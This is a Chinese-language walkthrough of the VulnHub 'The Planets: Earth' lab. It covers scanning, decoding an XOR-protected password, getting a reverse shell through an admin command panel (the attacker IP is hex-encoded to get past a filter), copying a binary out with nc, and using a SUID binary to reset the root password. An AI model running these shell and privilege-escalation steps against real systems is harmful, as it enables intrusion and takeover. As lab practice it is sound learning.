VulnHub日记（十五）: THE PLANETS: EARTH

参考链接

Vulnhub:THE PLANETS: EARTH
参考博客

开始练习

本机ip:192.168.56.102
目的机ip:192.168.56.136

fping -aqg 192.168.56.0/24

nmap 扫描主机

nap-A -v -p- 192.168.56.136

先将域名写入host文件，访问80和443端口，并进行目录扫描

dirsearch -u https://terratest.earth.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,html,txt,zip,bak
dirsearch -u http://terratest.earth.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,html,txt,zip,bak

80上：

同时nmap扫描到443口有robots.txt先查看

手动测试后缀，发现testingnotes.txt文件

知道了在80端口的服务使用的是异或，且有一个测试文档terra.txt，用户名是terra

将之前有的字段任选一个和terra.txt进行异或，16进制解码，获得密码

#XOR.py
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

用terra和获取的密码登录/admin

是执行命令窗口，尝试直接弹shell，没有成功

直接输入ip地址时会被阻止，所以认定是对ip地址字段进行绕过，将ip地址转换为16进制，成功弹shell

bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x66/4396 0>&1

/etc/earth_web下发现userFLAG

查找特权文件，发现reset_root特殊名称

find / -perm -u=s -type f 2>/dev/null

运行，没成功

下载到本地调试

#本地开启监听保存收到的数据到文件reset_root
nc -nlvp 9995 >reset_root
#webshell上建立链接传输reset_root文件
nc 192.168.56.102 9995 < reset_root

本地调试程序，缺少文件

ltrace ./reset_root

靶机目录里也缺少三个文件中的两个，在webshell中创建文件，再次运行

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
cd/usr/bin
./reset_root

成功运行并修改了root密码为Earth

su
ls -al 
cd /root
cat root_flag.txt